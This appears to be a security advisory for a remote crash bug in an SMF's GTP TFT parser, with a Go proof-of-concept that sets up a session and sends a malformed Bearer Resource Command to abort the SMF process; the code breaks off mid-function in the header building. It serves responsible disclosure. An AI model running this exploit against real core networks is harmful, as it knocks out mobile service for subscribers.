| Description | ### Description
SMF can be remotely crashed by sending a Bearer Resource Command on the S5-C interface that contains a malformed Traffic Aggregate Description (TAD) IE (TFT-encoded). By crafting a packet filter where pf[0].content.length is set to a very large value (e.g. 0xFF) while providing only a short amount of actual content bytes, SMF’s TFT parser (ogs_gtp2_parse_tft) iterates past the available buffer and hits an internal assertion:
size+len+sizeof(tft->pf[i].content.component[j].type) <= octet->len
This assertion failure aborts the SMF process, resulting in a remote denial of service.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"encoding/binary"
"flag"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
// SMF/PGW-C address (target)
smfIP = "10.44.44.4"
smfPort = 2123
// Local SGW-C mock address (use real SGW-C IP after stopping it)
localIP = "10.44.44.2"
localPort = 2123
csRespTimeout = 10 * time.Second
ignoreCause = false
smfTEIDOverride = uint32(0)
)
func main() {
smfIPFlag := flag.String("smf-ip", smfIP, "SMF GTP-C address")
smfPortFlag := flag.Int("smf-port", smfPort, "SMF GTP-C port")
localIPFlag := flag.String("local-ip", localIP, "Local bind IP (use 'auto' to detect)")
localPortFlag := flag.Int("local-port", localPort, "Local bind UDP port")
timeoutFlag := flag.Duration("timeout", csRespTimeout, "CreateSessionResponse timeout")
ignoreCauseFlag := flag.Bool("ignore-cause", ignoreCause, "Continue even if CreateSessionResponse is not accepted")
smfTEIDFlag := flag.Uint("smf-teid", uint(smfTEIDOverride), "Override SMF S5C TEID for BearerResourceCommand (hex or dec)")
flag.Parse()
if flag.NArg() > 0 {
*smfIPFlag = flag.Arg(0)
}
smfIP = *smfIPFlag
smfPort = *smfPortFlag
localIP = *localIPFlag
localPort = *localPortFlag
csRespTimeout = *timeoutFlag
ignoreCause = *ignoreCauseFlag
smfTEIDOverride = uint32(*smfTEIDFlag)
log.Println("[*] Vuln-PA1-05/PA1-10 PoC: TFT Length Validation Failure")
log.Println("[*] Target: SMF (ogs_gtp2_parse_tft in smf_s5c_handle_bearer_resource_command)")
log.Println("[*] Location: lib/gtp/v2/types.c:286-450")
log.Println()
runSGWCMock()
}
func runSGWCMock() {
// SMF address
smfAddr := &net.UDPAddr{
IP: net.ParseIP(smfIP),
Port: smfPort,
}
if smfAddr.IP == nil {
log.Fatalf("[SGW-C] Invalid SMF IP: %q", smfIP)
}
var localAddr *net.UDPAddr
if localIP != "" && localIP != "auto" {
ip := net.ParseIP(localIP)
if ip == nil {
log.Fatalf("[SGW-C] Invalid local IP: %q", localIP)
}
localAddr = &net.UDPAddr{IP: ip, Port: localPort}
} else {
localAddr = &net.UDPAddr{Port: localPort}
}
conn, err := net.DialUDP("udp4", localAddr, smfAddr)
if err != nil {
log.Fatalf("[SGW-C] Failed to bind to %s:%d: %v", localIP, localPort, err)
}
defer conn.Close()
actualLocal := conn.LocalAddr().(*net.UDPAddr)
advertiseIP := localIP
if advertiseIP == "" || advertiseIP == "auto" {
advertiseIP = actualLocal.IP.String()
}
log.Printf("[SGW-C] Mock bound to %s (advertise %s)", actualLocal.String(), advertiseIP)
// Step 1: Send CreateSessionRequest to establish session
log.Println()
log.Println("[*] Step 1: Sending CreateSessionRequest to SMF to establish session")
csReq := buildCreateSessionRequest(advertiseIP)
csReqBuf, err := csReq.Marshal()
if err != nil {
log.Fatalf("[SGW-C] Failed to marshal CreateSessionRequest: %v", err)
}
_, err = conn.Write(csReqBuf)
if err != nil {
log.Fatalf("[SGW-C] Failed to send CreateSessionRequest: %v", err)
}
log.Printf("[SGW-C] ✓ CreateSessionRequest sent (%d bytes)", len(csReqBuf))
// Wait for CreateSessionResponse
buf := make([]byte, 4096)
conn.SetReadDeadline(time.Now().Add(csRespTimeout))
n, err := conn.Read(buf)
if err != nil {
log.Fatalf("[SGW-C] Failed to receive CreateSessionResponse: %v", err)
}
log.Printf("[SGW-C] ✓ Received response (%d bytes)", n)
// Parse response to get SMF TEID
msg, err := message.Parse(buf[:n])
if err != nil {
log.Fatalf("[SGW-C] Failed to parse response: %v", err)
}
csResp, ok := msg.(*message.CreateSessionResponse)
if !ok {
log.Fatalf("[SGW-C] Expected CreateSessionResponse, got %T", msg)
}
var smfTEID uint32
if smfTEIDOverride != 0 {
smfTEID = smfTEIDOverride
log.Printf("[SGW-C] ✓ Using overridden SMF S5 TEID: 0x%08x", smfTEID)
} else if fteid := csResp.PGWS5S8FTEIDC; fteid != nil {
teid, err := fteid.TEID()
if err == nil {
smfTEID = teid
log.Printf("[SGW-C] ✓ SMF S5 TEID: 0x%08x", smfTEID)
}
}
if smfTEID == 0 {
log.Println("[SGW-C] Warning: Could not extract SMF TEID, using 1")
log.Println("[SGW-C] Hint: provide -smf-teid if CreateSessionResponse doesn't include PGW S5 TEID")
smfTEID = 1
}
// Check cause
if cause := csResp.Cause; cause != nil {
causeVal, _ := cause.Cause()
log.Printf("[SGW-C] ✓ Cause: %d", causeVal)
if causeVal == gtpv2.CauseRemotePeerNotResponding {
log.Println("[SGW-C] Hint: Cause 100 often means SMF has no Gx Diameter peer (PCRF down)")
}
if causeVal != gtpv2.CauseRequestAccepted && !ignoreCause {
log.Fatalf("[SGW-C] Session creation failed with cause %d", causeVal)
}
}
if ignoreCause {
log.Println("[SGW-C] Warning: Continuing despite non-accepted cause (ignore-cause enabled)")
} else {
log.Println("[SGW-C] ✓ Session established successfully!")
}
// Wait a moment
time.Sleep(500 * time.Millisecond)
// Step 2: Send malicious BearerResourceCommand with malformed TAD (TFT)
log.Println()
log.Println("[*] Step 2: Sending malicious BearerResourceCommand")
log.Println("[*] Vulnerability Details:")
log.Println(" - Target: SMF S5C interface")
log.Println(" - Handler: smf_s5c_handle_bearer_resource_command")
log.Println(" - Parser: ogs_gtp2_parse_tft (lib/gtp/v2/types.c:286-450)")
log.Println(" - Trigger: TAD IE with pf[0].content.length=255 (larger than actual data)")
log.Println()
brcmdBuf := buildMaliciousBearerResourceCommand(smfTEID)
_, err = conn.Write(brcmdBuf)
if err != nil {
log.Fatalf("[SGW-C] Failed to send BearerResourceCommand: %v", err)
}
log.Printf("[SGW-C] ✓ Malicious BearerResourceCommand sent (%d bytes)", len(brcmdBuf))
log.Println()
log.Println("[*] Expected Behavior:")
log.Println(" 1. SMF receives BearerResourceCommand on S5C interface")
log.Println(" 2. smf_s5c_handle_bearer_resource_command() validates IEs")
log.Println(" 3. ogs_gtp2_parse_tft() parses TAD IE")
log.Println(" 4. while(len < tft->pf[i].content.length) reads beyond buffer")
log.Println(" 5. ogs_assert(size+len+sizeof(...) <= octet->len) FAILS")
log.Println(" 6. SMF process crashes with assertion failure (SIGABRT)")
log.Println()
log.Println("[+] PoC execution completed!")
log.Println("[*] Check SMF logs for crash evidence:")
log.Println(" docker logs smf --tail 50")
log.Println()
// Wait for crash propagation
time.Sleep(3 * time.Second)
}
func buildCreateSessionRequest(localAddrIP string) *message.CreateSessionRequest {
// Build CreateSessionRequest to establish session with SMF
return message.NewCreateSessionRequest(
0, // TEID (0 for initial request)
0, // Sequence
// IMSI
ie.NewIMSI("001010000000001"),
// MSISDN
ie.NewMSISDN("818000000001"),
// MEI
ie.NewMobileEquipmentIdentity("123456789012345"),
// User Location Information (simplified)
ie.NewUserLocationInformationStruct(
nil, nil, nil,
ie.NewTAI("001", "01", 0x0001),
ie.NewECGI("001", "01", 0x00000001),
nil, nil, nil,
),
// Serving Network
ie.NewServingNetwork("001", "01"),
// RAT Type
ie.NewRATType(gtpv2.RATTypeEUTRAN),
// Sender F-TEID (SGW-C S5 control)
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8SGWGTPC, 0x12345678, localAddrIP, ""),
// APN
ie.NewAccessPointName("internet"),
// Selection Mode
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
// PDN Type
ie.NewPDNType(gtpv2.PDNTypeIPv4),
// PDN Address Allocation
ie.NewPDNAddressAllocation("x.x.x.x"),
// APN Restriction
ie.NewAPNRestriction(gtpv2.APNRestrictionNoExistingContextsorRestriction),
// Aggregate Maximum Bit Rate
ie.NewAggregateMaximumBitRate(100000000, 100000000),
// Bearer Context to be created
ie.NewBearerContext(
ie.NewEPSBearerID(5),
ie.NewBearerQoS(1, 2, 1, 0xff, 0, 0, 0, 0),
// SGW S5 F-TEID for user plane
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8SGWGTPU, 0x22222222, localAddrIP, "").WithInstance(2),
),
)
}
func buildMaliciousBearerResourceCommand(teid uint32) []byte {
// BearerResourceCommand message type is 68
const BearerResourceCommandType = 68
// Build IEs
ies := []*ie.IE{
// Linked EPS Bearer ID (mandatory)
ie.NewEPSBearerID(5),
// Procedure Transaction ID (mandatory)
ie.NewProcedureTransactionID(1),
// Traffic Aggregate Description (TAD) - using TFT format (mandatory)
// This is the malicious IE that triggers the vulnerability
craftMaliciousTAD(),
}
// Manually construct the message
seq := uint32(2)
// Build header
header := make([]byte, 12)
header[0] = 0x48 // Version 2, T=1
header[1] = BearerResourceCommandType // Message type
binary.BigEndian.PutUint16(header[2:4], 0) // Length (will be updated)
binary.BigEndian.PutUint32(header[4:8], teid) // TEID
header[8] = byte((seq >> 16) & 0xFF) |
|---|